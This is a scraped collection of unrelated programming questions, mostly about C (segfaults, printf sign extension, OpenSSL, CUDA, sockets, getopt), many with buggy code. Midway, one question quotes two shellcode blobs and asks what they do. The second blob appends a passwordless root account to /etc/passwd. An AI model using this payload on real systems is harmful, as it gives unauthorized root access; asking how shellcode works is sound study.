To swap to integers, A and B, this seems to work in C,
A = A + B - ( B = A);
Why does this work? And if this works in all conditions, can this be used to shorten any other commonly implemented algorithms?
To swap to integers, A and B, this seems to work in C,
A = A + B - ( B = A);
Why does this work? And if this works in all conditions, can this be used to shorten any other commonly implemented algorithms?
I wrote the following program to create a singly linked list. However it gives a segmentation fault at line 28: ptr->info =x; The program gets terminated here after inputting the first node of the linked list.
#include<stdio.h>
#include<stdlib.h>
int main(void)
{
struct node
{
int info;
struct node *link;
};
struct node *ptr,*start,*prev;
int n,x,i;
printf("enter the number of linked list elements\n");
scanf("%d",&n);
ptr=malloc(n*sizeof(struct node));
prev=malloc(n*sizeof(struct node));
start=malloc(n*sizeof(struct node));
ptr=NULL;
start=NULL;
prev=NULL;
for(i=0;i<n;i++)
{
printf("enter the element\n");
scanf("%d\n",&x);
ptr->info =x;
ptr->link =NULL;
if(start==NULL)
{
prev=ptr;
start=ptr;
}
else
{
prev->link = ptr;
prev=ptr;
}
}
ptr = start;
while(ptr != NULL)
{
printf("%d ",ptr->info);
ptr = ptr->link;
}
return 0;
}
What is the problem in the code?
I am a final year Computer Science and Engineering student in India. I have been studying game designing and programming for 8 months in C and C++. Already designed and programmed some popular games in 2D such as breakout, galaxy shooter and Tic-Tac-Toe (Not reaching the release version but programming the basic concepts). I find application or system programming a bit intimidating and requiring much patience while games can be spontaneously evaluated(though it does take a lot of time for initial code and setup). But then I have no reason or the material to believe that prominent companies in India which are recruiting candidates will validate A Computer Game as a valid project.
I am new to File Tree Walk. I am having troubles searching for files recursively. I tried to look up some documentations but the wordings are quite confusing. This is what I have (not the implementation), but I don't really understand these arguments:
int ftw(const char *dirpath, int (*fn) (const char *fpath, const struct stat *sb, int typeflag), int nopenfd);
int nftw(const char *dirpath, int (*fn) (const char *fpath, const struct stat *sb, int typeflag, struct FTW *ftwbuf), int nopenfd, int flags);
I want to get json from HTTP and parse it into an object in my android app ive tryed spring framework with AsynTask but everyone says its deprecated.
So how can i reach this or does someone has a link to a tut for me
Thank you very much.
Kind Regards, Stefan
I have compiled the following C Program in Code::Blocks 10.05 on Windows 7.
int main()
{
unsigned char a=-5;
signed char b=-5;
char c=-5;
printf("%d %d %d \n",a,b,c);
printf("%u %u %u \n",a,b,c);
}
I expected the following output
251 -5 -5
251 251 251
I have reasoned like this,
-5 is represented as 1111 1011 in 2's Complement Notation. Hence 251 will be printed.
But I got the following output.
251 -5 -5
251 4294967291 4294967291
I know 4294967291 is the 32 bit 2's Complement representation of -5.
But why the unsigned char a is printed as 251 instead of 4294967291?
I have the necessary information (type, size, n, e, d, p, q, dmp1, dmq1, iqmp) necessary for the RSA key. These were obtained from a separate source other than openssl.
I need to use this info to fill the openssl's RSA structure so that I can parse the structure to other openssl functions. Looking from the openssl source file, RSA structure consists other information such as meth, engine, ex_data,, etc.
struct rsa_st
{
/* The first parameter is used to pickup errors where
* this is passed instead of aEVP_PKEY, it is set to 0 */
int pad;
long version;
const RSA_METHOD *meth;
/* functional reference if 'meth' is ENGINE-provided */
ENGINE *engine;
BIGNUM *n;
BIGNUM *e;
BIGNUM *d;
BIGNUM *p;
BIGNUM *q;
BIGNUM *dmp1;
BIGNUM *dmq1;
BIGNUM *iqmp;
/* be careful using this if the RSA structure is shared */
CRYPTO_EX_DATA ex_data;
int references;
int flags;
/* Used to cache montgomery values */
BN_MONT_CTX *_method_mod_n;
BN_MONT_CTX *_method_mod_p;
BN_MONT_CTX *_method_mod_q;
/* all BIGNUM values are actually in the following data, if it is not
* NULL */
char *bignum_data;
BN_BLINDING *blinding;
BN_BLINDING *mt_blinding;
};
What would be the optimal way to fulfil my requirement? One method I thought of was to create the RSA struct first with
RSA_new()
and then just swap the BIGNUM values with my data. But I doubt it that's the optimal way of doing such stuff. Any help would be appreciated.
Thank you.
string[0].float
Has a 7 character string of "420.42" (4, 2, 0, ., 4, 2, \0)
When I try to convert it into a float via atof as
float flt = 0;
flt = atof(string[0].float);
The value of flt is not 420.42, am I doing it wrong or is there a different way?
Can anyone please explain how this scanf function works? What does the [a] in %[a]s do? If an input aabbab is given, it prints aa and 2. But if it is changed to %[b]s, then it prints 12.exe and 6.
#include<stdio.h>
#include<string.h>
int main()
{
char str[10];
scanf("%[a]s",&str);
printf("%s\t %d",str,strlen(str));
return 0;
}
Ranjith is going to Theni this week end. As the train tickets are unavailable, he decides to go by bus. He books his tickets through a website. Write a program to find whether he booked a window seat or not. Assume that there are maximum 11 rows in a bus.
Input and Output Format: Input consists of two integers. The first integer corresponds to the number of seats per row in the bus. The second integer corresponds to the seat number.
Sample Input and Output 1: Enter number of seats per row 4 Enter the seat number 36 Window Seat
Sample Input and Output 2: Enter number of seats per row 3 Enter the seat number 34 Invalid Seat Number
Sample Input and Output 3: Enter number of seats per row 3 Enter the seat number 20 Aisle Seat
it keeps getting error in one or the other seat here is my code `
#include<stdio.h>
int main()
{
int ncol,seat,col,row=1;
printf("Enter number of seats per row\n");
scanf("%d",&ncol);
printf("Enter the seat number\n");
scanf("%d",&seat);
{
if(seat==ncol*11)
row=seat/ncol;
col=seat%ncol;
seat=row*ncol+col;
if(row%2!=0&&col%2!=0)
{
printf("Invalid Seat Number");
}
else if((seat%3==1||seat%2==0))
{
printf("Window Seat");
}
else
{
printf("Aisle Seat");
}
return 0;
}
}
its working but still not accepted :(
This question already has an answer here:
#include <stdio.h>
int main()
{
if (sizeof(int) > -1)
printf("Yes");
else
printf("No");
return 0;
}
According to me, sizeof(int) is 4 bytes which is greater than -1 and hence, it should print Yes but the output is no. Why is that?
Actually, I'm a Unity developer and I know nothing about XCode and Objective C. But I have to use ObjC library for some integration and call this function from Unity. So I import that library to created XCode project and write some wrapper code between Unity and XCode. When I try to call empty function, it works for me. But when i try to write ObjC method in C file it causes linker error and I have no idea what's wrong with it. So, here's the deal:
In Unity MonoBehaviour.cs:
[DllImport("__Internal")]
public static extern void startWithAPIKey(string apiKey);
...
startWithAPIKey(apiKey);
In XCode Wrapper.h:
@interface IOSYandexMetricaWrapper : NSObject
@end
In XCode Wrapper.m:
#import "YandexMobileMetrica.h" //library header
#import "IOSYandexMetricaWrapper.h"
void startWithAPIKey(char *apiKey) {
//method that i want to call
[YMMYandexMetrica startWithAPIKey:(NSString *)apiKey];
}
So it compiles, but linker says something like this: Undefined symbols for architecture armv7: "_OBJC_CLASS_$_YMMYandexMetrica", referenced from: objc-class-ref in IOSYandexMetricaWrapper.o
Someone can help me with my problem?
I'm a novice programmer looking to build my own iOS app. I'm hearing a lot of mixed responses on how it may or may not be necessary to learn C before taking on Objective-C.
I'm leaning towards learning Objective-C first considering I can always look back into the C (I'm using Big Nerd Ranch Guide for Objective-C) for some concepts like structs, arrays, etc.
I'm open to hearing any advice on what any of you may think!
int main(){
int i=6/3;
printf("%d",i);
return 0;
}
time of execution in 1st try is 0.02555 sec
time of execution in 2nd try is 0.01755 sec
time of execution in 3rd try is 0.01258 sec
time of execution in 4th try is 0.01276 sec
Please explain how can this happen?
I am new to linux, C and stack overflow. I was trying to view page tables of all processes running. For this I am using dump_pagetable.chttp://ift.tt/1Iv3nlg.
I tried to run first by normal compiling gcc dump_pagetables.c -o dump_pagetables.out. But it gave me error: "dump_pagetable.c:15:27: fatal error: linux/debugfs.h: No such file or directory #include linux/debugfs.h>
Then I tried to use a make command make -C /lib/modules/$(uname -r)/build M=$PWD modules. So it gave me this errorCC [M] /home/varma/Desktop/TLB/dump_pagetable.o /home/varma/Desktop/TLB/dump_pagetable.c:420:1: warning: data definition has no type or storage class __initcall(pt_dump_init); ^ /home/varma/Desktop/TLB/dump_pagetable.c:420:1: error: type defaults to ‘int’ in declaration of ‘__initcall’ [-Werror=implicit-int] /home/varma/Desktop/TLB/dump_pagetable.c:420:1: warning: parameter names (without types) in function declaration /home/varma/Desktop/TLB/dump_pagetable.c:398:12: warning: ‘pt_dump_init’ defined but not used [-Wunused-function] static int pt_dump_init(void) ^ cc1: some warnings being treated as errors scripts/Makefile.build:263: recipe for target '/home/varma/Desktop/TLB/dump_pagetable.o' failed make[1]: * [/home/varma/Desktop/TLB/dump_pagetable.o] Error 1 Makefile:1394: recipe for target 'module/home/varma/Desktop/TLB' failed make: * [module/home/varma/Desktop/TLB] Error 2 make: Leaving directory '/usr/src/linux-headers-3.19.0-23-generic'
dump_pagetables.c So that I can see huge pages also.Trying to compile an example code using COM and CoCreateInstance() using MinGW-w64 in C fails.
#include <windows.h>
#include <mmdeviceapi.h>
#include <endpointvolume.h>
#include <stdlib.h>
#include <stdio.h>
extern const CLSID CLSID_MMDeviceEnumerator;
extern const IID IID_IMMDeviceEnumerator;
int main( void )
{
CoInitialize( NULL );
LPVOID device = NULL;
const HRESULT ok = CoCreateInstance( &CLSID_MMDeviceEnumerator, NULL,
CLSCTX_INPROC_SERVER, &IID_IMMDeviceEnumerator,
&device );
CoUninitialize();
return EXIT_SUCCESS;
}
Compiling with: gcc main.c libole32.a -Wall -Wextra -o a
Even though CLSID_MMDeviceEnumerator is defined in mmdeviceapi.h it isn't found. Actually removing my extern definitions from the sample code gives the same result since both externs seems to be defined in the mmdeviceapi.h
When I was using __uuidof and compiling with g++ the code worked, but this C "replacement" for __uuidof doesn't.
Why aren't COM identifiers found?
\xda\xde\xd9\x74\x24\xf4\xb8\x22\xd2\x27\x7a\x29\xc9\xb1\x4b \x5b\x31\x43\x1a\x83\xeb\xfc\x03\x43\x16\xe2\xd7\x3b\xbc\x7a \x17\xbc\x95\x4b\xd7\xd8\x92\xec\xe7\xa5\x65\x94\x08\x2d\x25 \x69\x9d\x41\xba\xdc\x2a\xe1\xca\xf7\x25\xe2\xca\x07\xbe\xa2 \xfe\x8a\x80\x5e\x74\xd4\x3c\xc1\x49\xb5\xb7\x91\x69\x12\x4c \x2c\x4e\xd1\x06\xaa\xd6\xe4\x4c\x3f\x6c\xff\x1b\x1a\x51\xfe \xf0\x78\xa5\x49\x8d\x4b\x4d\x48\x7f\x82\xae\x7a\xbf\x19\xfc \xf9\xff\x96\xfa\xc0\x30\x5b\x04\x04\x25\x90\x3d\xf6\x9d\x71 \x37\xe7\x56\xdb\x93\xe6\x83\xba\x50\xe4\x18\xc8\x3d\xe9\x9f \x25\x4a\x15\x14\xb8\xa5\x9f\x6e\x9f\x29\xc1\xad\x72\x01\x53 \xd9\x27\x5d\xac\xe6\xb1\xa5\xd2\xdc\xca\xa9\xd4\xdc\x4b\x6e \xd0\xdc\x4b\x71\xe0\x12\x3e\x97\xd1\x42\xd8\x57\xd6\x92\x43 \xa9\x5c\x9c\x0d\x8e\x83\xd3\x70\xc2\x4c\x13\x73\x1b\xc4\xf6 \x9b\x43\x29\x07\xa4\xfd\x17\x1c\xb9\xa0\x1a\x9f\x3a\xd4\xd4 \xde\x82\xee\x16\xe0\x04\x07\xa0\x1f\xfb\x28\x26\xd1\x5f\xe6 \x79\xbd\x0c\xf7\x2f\x39\x82\xc7\x80\xbe\xb1\xcf\xc8\xad\xc5 \x2f\xf7\x4e\x57\xb4\x26\xf5\xdf\x51\x17\xda\x7c\xba\x39\x41 \xf7\x9a\xb0\xfa\x92\xa8\x1a\x8f\x39\x2e\x2e\x06\xa6\x80\xf0 \xb5\x16\x8f\x9b\x65\x78\x2e\x38\x01\xa6\x96\xe6\xe9\xc8\xb3 \x92\xc9\x78\x53\x38\x68\xed\xcc\xcc\x05\x98\x62\x11\xb8\x06 \xee\x38\x54\xae\x83\xce\xda\x51\x10\x40\x68\xe1\xf8\xed\xe9 \x66\x8c\x78\x95\x58\x4e\x54\x34\xfd\xea\xaa
\xeb\x2a\x5e\x31\xc0\x88\x46\x07\x88\x46\x0a\x88\x46\x47\x89 \x76\x49\x8d\x5e\x08\x89\x5e\x4d\x8d\x5e\x0b\x89\x5e\x51\x89 \x46\x55\xb0\x0b\x89\xf3\x8d\x4e\x49\x8d\x56\x55\xcd\x80\xe8 \xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x2d\x63\x23 \x2f\x62\x69\x6e\x2f\x65\x63\x68\x6f\x20\x77\x30\x30\x30\x74 \x3a\x3a\x30\x3a\x30\x3a\x73\x34\x66\x65\x6d\x30\x64\x65\x3a \x2f\x72\x6f\x6f\x74\x3a\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68 \x20\x3e\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64 \x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44 \x44\x44
can anyone please help me to describe the 2 pieces of shellcode
I'm trying to implement a reduction along the row direction of a 2D matrix. I'm starting from a code I found on stackoverflow (thanks a lot Robert!)
thrust::max_element slow in comparison cublasIsamax - More efficient implementation?
The above link shows a custom kernel that performs reduction on a single row. It divides the input row into many rows and each row has 1024 threads. Works very well.
For the 2D case, everything's the same except that now there's a y grid dimension. So each block's y dimension is still 1. The problem is that when I try to write data onto the shared memory within each block (within the "max_idx_kernel_reduction_within_block" kernel in the code), It takes very long (More than (# of Rows) * (Time it takes to perform reduction on 1 Row. I would rather run a for loop). I know I have a lot of elements but I was expecting something faster than that.
I don't think the memory access pattern is an issue, but I heard that the TOTAL amount of shared memory might be the limitation?? : CUDA: Is coalesced global memory access faster than shared memory? Also, does allocating a large shared memory array slow down the program?
Any suggestions to make my code faster (the first kernel is the bottleneck)? Thank you very much, very much appreciated!!
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <iostream>
#include <cuda_runtime.h>
#define NCOLS 163317 // number of columns
#define NROWS 8 // number of rows
#define nTPB 1024 // Threads per Block. nTPB should be a power-of-2
#define MAX_BLOCKS_X ((NCOLS/nTPB)+1) // # of blocks I will launch
#define MIN(a,b) ((a>b)?b:a)
#define FLOAT_MIN -1.0f // lowest anticipated number of the data. Values in array will be compared with this and updated with the larger one
#define IDX2F(i,j,ld) ((j-1) * (ld) + ((i) - 1)) // 1 based indexing
#define IDX2C(i,j,ld) ((j) * (ld) + i) // 0 based indexing
__device__ volatile float blk_vals[NROWS][MAX_BLOCKS_X];
__device__ volatile int blk_idxs[NROWS][MAX_BLOCKS_X];
// blk_vals and blk_idxs are the results obtained from reduction within each block.
// after 1st reduction, each row will have blk_vals[MAX_BLOCKS_X] array and blk_idxs[MAX_BLOCKS_X]
// these will be passed to the 2nd kernel
__global__ void max_idx_kernel_reduction_within_block(const float *data, const int xSize, const int ySize){ // first kernel. Reduction within blocks
__shared__ volatile float vals[nTPB]; // Total amount of shared memory per block: 49152 bytes (50 KB). 1024 gives ~ 4KB for single.
__shared__ volatile int idxs[nTPB]; // ~ 4 KB for single, when nTPB is 1024. each block will have both indices and values
int idx = threadIdx.x+blockDim.x * blockIdx.x; // idx in the x direction
float my_val = FLOAT_MIN; // lowest possible number
int my_idx = -1; // to check whether you DID perform the kernel. Again, it's the idx in the x dir.
// sweep from global memory
while (idx < xSize){ // this ensures you don't go out the size of the array's x direction
if (data[IDX2C(blockIdx.y,idx,ySize)] > my_val) {my_val = data[IDX2C(blockIdx.y,idx,ySize)]; my_idx = idx;}
// compare with my_val, and put the bigger value into my_val for next comparison. my_idx is 0 index based
idx += blockDim.x*gridDim.x;}
// until here takes about 6 ms !! very fast!!
// populate shared memory: takes ~ 270 ms
vals[threadIdx.x] = my_val; // put the computed max value for each thread into the shared memory. -> this is the bottleneck!!
idxs[threadIdx.x] = my_idx; // do this for index as well -> this is also slow!!
__syncthreads();
// sweep in shared memory
for (int i = (nTPB>>1); i > 0; i>>=1){
if (threadIdx.x < i) // the first half threads of the block
if (vals[threadIdx.x] < vals[threadIdx.x + i]) {vals[threadIdx.x] = vals[threadIdx.x+i]; idxs[threadIdx.x] = idxs[threadIdx.x+i]; }
// the above is comparing shared memory of threadIdx.x with shared memory of threadIdx.x + i.
// then puts the larger value into shared memory of threadIdx.x
__syncthreads();} // so now in each block, shared memory's first element (index 0) is the max value and max value index
// perform block-level reduction
if (!threadIdx.x){ // at the shared memory, only the first element (index 0) (actually 2 elements in the first index. max value, and max value index) is what we need.
blk_vals[blockIdx.y][blockIdx.x] = vals[0]; // For each window (single x row), the first elements of the blocks are stored into the blk_vals[windowNumber][:]
// remember, this is a global variable.
blk_idxs[blockIdx.y][blockIdx.x] = idxs[0]; // and the max value index
__syncthreads();
}
}
// originally the following kernel was in the 1st kernel, performed by the last block. So just use one block for this.
__global__ void max_idx_kernel_final(int *result_maxInd, float *result_maxVal){
__shared__ volatile float vals[nTPB]; // Total amount of shared memory per block: 49152 bytes (50 KB). 1024 gives ~ 4KB for single.
__shared__ volatile int idxs[nTPB]; // ~ 4 KB for single, when nTPB is 1024. each block will have these variables!! (vals and idxs)
int idx = threadIdx.x;
float my_val = FLOAT_MIN;
int my_idx = -1; // remember, these are local variables, so each thread has this variable. This local variable is independent from other thread's local variable
while (idx < MAX_BLOCKS_X ){ // ?? confused whether it should be gridDim.x (actual # of blocks launched) or MAX_BLOCKS_X (# of elements in x dir of the global array blk_vals)
if (blk_vals[blockIdx.y][idx] > my_val)
{my_val = blk_vals[blockIdx.y][idx]; my_idx = blk_idxs[blockIdx.y][idx]; }
idx += blockDim.x;} // all threads in this single block (single in the x dir) are working, so you should loop over blockDim.x.
// Imagine where gridDim.x (# of blocks) is huge so that you need to loop over to get the max value and index
// After this, each thread in the block has a local variable (max value and max value index).
// So far it was sort of a reduction, but instead of pairing values we just looped over the blk_vals and blk_idxs
// populate shared memory
vals[threadIdx.x] = my_val; // This is now shared memory. This is because reduction requires comparison between different elements
idxs[threadIdx.x] = my_idx; // my_idx value is 0 based. This is done for all blocks (in the y direction)
__syncthreads();
// Now the final task is to do reduction for all threads in our single block (single block in the x dir, NROWS blocks in the y dir)!
// sweep in shared memory
for (int i = (nTPB>>1); i > 0; i>>=1) {
if (threadIdx.x < i) // the first half threads of the block
if (vals[threadIdx.x] < vals[threadIdx.x + i]) {vals[threadIdx.x] = vals[threadIdx.x+i]; idxs[threadIdx.x] = idxs[threadIdx.x+i]; }
__syncthreads();} // now all the results are in threadIdx.x == 0 for each block (there are NROWS blocks in the y dir)
// 0th thread. the results are in shared memory, not the local memory, so any thread could do the following. We just selected the 0th thread for no reason. If several threads try to do this, that would be a problem, since we'll have to wait for them
if(!threadIdx.x){
result_maxInd[blockIdx.y] = idxs[0]; // the final result for each row goes into the corresponding position (blockIdx.y)
result_maxVal[blockIdx.y] = vals[0];
}
}
int main(){
dim3 grids(MAX_BLOCKS_X, NROWS);
dim3 threads(nTPB,1);
dim3 grids2(1,NROWS);
dim3 threads2(nTPB);
float *d_vector, *h_vector;
h_vector = (float*)malloc(NROWS * NCOLS * sizeof(float));
for (int j = 1; j <= NCOLS; j++) {
for (int i = 1; i <= NROWS; i++) {
h_vector[IDX2F(i,j,NROWS)] = (float) (rand()/(float)RAND_MAX);
}
}
h_vector[IDX2F(2,5,NROWS)] = 10; // create definite max element
cudaMalloc(&d_vector, NROWS * NCOLS * sizeof(float));
cudaMemcpy(d_vector, h_vector, NROWS * NCOLS * sizeof(float), cudaMemcpyHostToDevice);
//d_vector is a pointer on the device pointing to the beginning of the vector, containing nrElements floats.
int *max_index;
float *max_val;
int *d_max_index;
float *d_max_val;
max_index = (int*)malloc(NROWS * sizeof(int));
max_val = (float*)malloc(NROWS * sizeof(float));
cudaMalloc((void**)&d_max_index, NROWS * sizeof(int));
cudaMalloc((void**)&d_max_val, NROWS * sizeof(float));
max_idx_kernel_reduction_within_block<<<grids, threads>>>(d_vector, NCOLS, NROWS);
max_idx_kernel_final<<<grids2,threads2>>>(d_max_index, d_max_val);
cudaMemcpy(max_index, d_max_index, NROWS * sizeof(int), cudaMemcpyDeviceToHost);
cudaMemcpy(max_val, d_max_val, NROWS * sizeof(float), cudaMemcpyDeviceToHost);
for(int z=0;z<20;z++)
printf("%d ",max_index[z]);
printf("\n\n\n");
for(int z=0;z<20;z++)
printf("%f ",max_val[z]);
return 0;
}
I'm looking to open a netlink socket in each existing network namespace to listen for LINK messages associated with interfaces. I'd like to do this from a single process.
According to the 'setns()' documentation - "Given a file descriptor referring to a namespace, reassociate the calling thread with that namespace.". Can I therefore achieve my task by simply using 'pthread_create()' to create a thread for each namespace I require, call 'setns()' and then open the netlink socket.
The reason I ask is because I have seen conflicting information regarding 'setns()' acting on the process namespace.
I have to send a file to java, and java has to receive the file and send it back to C via tcp/ip. I am able to send the file but in receiving i am not able to receive any data. I am giving the code for reference.
int send_text(int socket)
{
FILE *text;
char a[50];
int size, read_size, stat, packet_index;
char send_buffer[8008], read_buffer[8008];
int wrt = 0, sock_fd, tsize = 0;
packet_index = 1;
int i = 0;
text = fopen("/home/sosdt009/Desktop/character3.txt", "r");
if (text == NULL)
{
printf("Error Opening text File:");
exit(-1);
}
printf("Getting text Size:\n");
gets(a);
fseek(text, 0, SEEK_END);
size = ftell(text);
fseek(text, 0, SEEK_SET);
printf("Total text size: %d \n", size);
gets(a);
//Send text Size
printf("Sending text Size:\n");
gets(a);
send(socket, (void *) &size, sizeof(size), 0);
while (size > tsize)
{
//Read from the file into our send buffer
printf("Ready for sending:\n");
gets(a);
read_size = fread(send_buffer, 1, sizeof(send_buffer), text);
printf("The size of send buffer:%c \n", sizeof(send_buffer));
gets(a);
printf("The read size value is :%d \n", read_size);
gets(a);
//Send data through our socket
for (i = 0; i < read_size; i++)
{
printf("Send value: %c \n", send_buffer[i]);
gets(a);
}
do
{
stat = send(socket, send_buffer, read_size, 0);
printf("The send size value is: %d \n", size);
gets(a);
printf("The read size value is: %d \n", read_size);
gets(a);
}
while (stat < 0);
printf("Packet %d, sent %d bytes.\n", packet_index, read_size);
gets(a);
//packet_index++;
//Zero out our send buffer
tsize = tsize + read_size;
printf("The tsize value is:%d \n", tsize);
gets(a);
memset(send_buffer, 0, sizeof(send_buffer));
if (read_size <= NULL)
{
printf("The connection is transferred to received text: \n");
gets(a);
}
}
fclose(text);
printf("Text successfully send:\n");
gets(a);
return 0;
}
int receive_text(int socket)
{
int buffersize, recv_size = 0, read_size = 1, write_size, size, stat;
char *pBuf, a[50];
int errno,i;
FILE *text;
text = fopen("/home/sosdt009/Desktop/receivednew.txt", "a");
if (text == NULL)
{
printf("Error has occurred, text file could not be opened \n");
return -1;
}
//Loop while we have not received the entire file yet
while (read_size > 0)
{
ioctl(socket, FIONREAD, &buffersize);
printf("The Buffersize is :%d\n", buffersize);
gets(a);
printf("The size of socket is:%d\n", socket);
gets(a);
//We check to see if there is data to be read from the socket
if (buffersize > 0)
{
printf("Buffersize value is :%d\n", buffersize);
gets(a);
pBuf = malloc(buffersize);
if (!pBuf)
{
printf(errno, "Memory Error Cannot Allocate!\n");
gets(a);
exit(-1);
}
read_size = recv(socket, pBuf, buffersize, 0);
printf("Read size value is :%d \n", read_size);
gets(a);
printf("Buffersize value is:%d \n", pBuf);
gets(a);
if (read_size < 0)
{
printf("%d\n", strerror(errno));
printf("Data not written to the file:\n");
gets(a);
goto free;
}
//Write the currently read data into our text file
write_size = fwrite(pBuf, 1, read_size, text);
free(pBuf);
printf("Write size value is :%d \n", write_size);
gets(a);
printf("Buffer size value is :%d \n", buffersize);
gets(a);
//Increment the total number of bytes read
recv_size += read_size;
printf("Received size value is:%d \n", recv_size);
gets(a);
printf("Read size value is :%d \n", read_size);
gets(a);
}
}
free: fclose(text);
close(socket);
printf("Text Successfully Received:\n");
gets(a);
return 0;
}
Adding the java code for further ref
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.ServerSocket;
import java.net.Socket;
public class Server1 {
static ServerSocket serverSocket =null;
private static Socket socket;
public final static String FILE_TO_RECEIVED = "/home/sosdt010/Desktop/Testfile/text2.txt";
public final static int FILE_SIZE = 32092796 ;//4939993 ;//
static int current=0;
public static void main(String[] args) throws IOException, InterruptedException {
int port = 6777;
serverSocket = new ServerSocket(port);
System.out.println("Server Started and listening to the port 6777");
socket = serverSocket.accept();
InputStream is = socket.getInputStream();
//ois=new ObjectInputStream(socket.getInputStream());
//byte[] content = (byte[]) ois.readObject();
FileOutputStream fos=new FileOutputStream(FILE_TO_RECEIVED );
System.out.println(FILE_TO_RECEIVED);
byte [] mybytearray = new byte [FILE_SIZE];
// int bytesRead = is.read(mybytearray,0,mybytearray.length);
// System.out.println(mybytearray.length);
//current = bytesRead;
//System.out.println(current+"/n"+bytesRead);
int bytesRead;
do {
bytesRead =
is.read(mybytearray, 0,mybytearray.length-current);
if(bytesRead >= 0) current += bytesRead;
System.out.println(bytesRead );
} while(bytesRead > -1);
for(int a=0;a<current;a++){
fos.write(mybytearray[a]);
}
System.out.println(current +"new bytesread"+mybytearray.length);
//fos.write(mybytearray, 0,current);
System.out.println("Message received from server is "+current);
OutputStream os=socket.getOutputStream();
File myFile=new File(FILE_TO_RECEIVED);
System.out.println(FILE_TO_RECEIVED);
FileInputStream fis=new FileInputStream(myFile);
byte[] mybytearray1=new byte[(int)myFile.length()];
System.out.println(myFile.length());
fis.read(mybytearray1, 0, mybytearray1.length);
System.out.println("Bytes Read"+ mybytearray1.length);
os.write(mybytearray1, 0, mybytearray1.length);
System.out.println("Bytes write"+mybytearray1.length);
System.out.println(mybytearray1.length);
// byte[] content1 = Files.readAllBytes(new File(FILE_TO_SEND).toPath());
//oos.writeObject(content1);
os.flush();
fos.close();
is.close();
//fis.close();
//os.close();
socket.close();
}
}
I am giving the Receiving code that i am currently using in the program
int receive_text(int socket)
{
int buffersize[8192],recv_size = 0,read_size = 1, write_size, size;
char *pBuf,a[50];
int errno;
FILE *text;
text = fopen("/home/sosdt009/Desktop/receivednew.txt", "w");
if (text == NULL)
{
printf("Error has occurred, text file could not be opened \n");
return -1;
}
//Loop while we have not received the entire file yet
while (read_size > 0)
{
ioctl(socket, FIONREAD, &buffersize);
printf("The Buffersize is :%d\n",buffersize);
gets(a);
printf("The size of socket is:%d\n",socket);
gets(a);
//We check to see if there is data to be read from the socket
if (buffersize > 0)
{
printf("Buffersize value is :%d\n", buffersize);
gets(a);
pBuf = malloc(buffersize);
/*if (!pBuf)
{
printf(errno, "Memory Error Cannot Allocate!\n");
gets(a);
exit(-1);
}*/
while ((read_size = recv(socket, buffersize, sizeof(buffersize), 0)) > 0)
{
fwrite(pBuf, 1, read_size, text); // plus error handling ...
}
//read_size = recv(socket, pBuf, buffersize, 0);
//printf("Read size value is :%d \n",read_size);
//gets(a);
//printf("Buffersize value is:%d \n",pBuf);
//gets(a);
if (read_size < 0)
{
printf("%d\n",strerror(errno));
printf("Data not written to the file:\n");
gets(a);
goto free;
}
//Write the currently read data into our text file
write_size = fwrite(pBuf,read_size,1,text);
free(pBuf);
printf("Write size value is :%d \n",write_size);
gets(a);
printf("Buffer size value is :%d \n",buffersize);
gets(a);
//Increment the total number of bytes read
recv_size += read_size;
printf("Received size value is:%d \n",recv_size);
gets(a);
printf("Read size value is :%d \n",read_size);
gets(a);
}
}
free:
fclose(text);
close(socket);
printf("Text Successfully Received:\n");
gets(a);
return 0;
}
I am working on a mac with Yosemite OS X and I'm trying to compile a program in C that I could then upload onto my Arduino. I am following this tutorial specifically. I tried going through and reinstalling avr-gcc, but I got the same output. I tried searching for the file crtatmega328p.o on my system but it is nowhere to be found and the same goes for the directory. Any help would be appreciated.
$ avr-gcc -Os -DF_CPU=16000000UL -mmcu=atmega328p -c -o Program.o Program.c
$ avr-gcc -mmcu=atmega328p Program.o -o Program
/usr/local/lib/gcc/avr/5.2.0/../../../../avr/bin/ld: cannot find crtatmega328p.o: No such file or directory
/usr/local/lib/gcc/avr/5.2.0/../../../../avr/bin/ld: cannot find -latmega328p collect2: error: ld returned 1 exit status
Why we have used pointer in this C code? Basically, I am just searching a string in the array, but without pointer, it is unable to run. But why is that?
int main() {
char *x[] = {"ab", "bc", "cd", 0};
char *s = "ab";
int i = 0;
while(x[i]) {
if(strcmp(x[i], s) == 0) {
printf("Gotcha!\n");
break;
}
i++;
}
}
I am a noob in C and studying the STRTOK function. I have found an example code where a pointer is used. but i don't know the reason why. Can anyone explain why?
int main()
{
char str[80] = "I love you";
const char s[2] = " ";
char *token;
token = strtok(str, s);
while( token != NULL )
{
printf( " %s\n", token );
token = strtok(NULL, s);
}
return(0);
}
I just read a text about this function. I found that, strtok function returns a pointer value itself. That's why we have used pointer here ( *token) I
In implementation of list (Python 3.4) I saw the following:
static int
list_resize(PyListObject *self, Py_ssize_t newsize)
{
PyObject **items;
size_t new_allocated;
Py_ssize_t allocated = self->allocated;
/* Bypass realloc() when a previous overallocation is large enough
to accommodate the newsize. If the newsize falls lower than half
the allocated size, then proceed with the realloc() to shrink the list.
*/
if (allocated >= newsize && newsize >= (allocated >> 1)) {
assert(self->ob_item != NULL || newsize == 0);
Py_SIZE(self) = newsize;
return 0;
}
new_allocated = (newsize >> 3) + (newsize < 9 ? 3 : 6);
/* check for integer overflow */
if (new_allocated > PY_SIZE_MAX - newsize) {
PyErr_NoMemory();
return -1;
} else {
new_allocated += newsize;
}
if (newsize == 0)
new_allocated = 0;
items = self->ob_item;
if (new_allocated <= (PY_SIZE_MAX / sizeof(PyObject *)))
PyMem_RESIZE(items, PyObject *, new_allocated);
else
items = NULL;
if (items == NULL) {
PyErr_NoMemory();
return -1;
}
self->ob_item = items;
Py_SIZE(self) = newsize;
self->allocated = new_allocated;
return 0;
}
and concretely line:
PyMem_RESIZE(items, PyObject *, new_allocated);
How I know, realloc may return another pointer, different from the obtained. I don`t understand how it works stable.
I'm using the getopt function to parse out some command line arguments in the following format; ./a.out -b 16 -s 64 -n 2 < trace_file.trace. Currently, -b, -s work fine, but when I add the -n argument I get a seg fault. Through using Valgrind I get the following error information
==10472== Invalid read of size 1
==10472== at 0x517A517: ____strtol_l_internal (strtol_l.c:298)
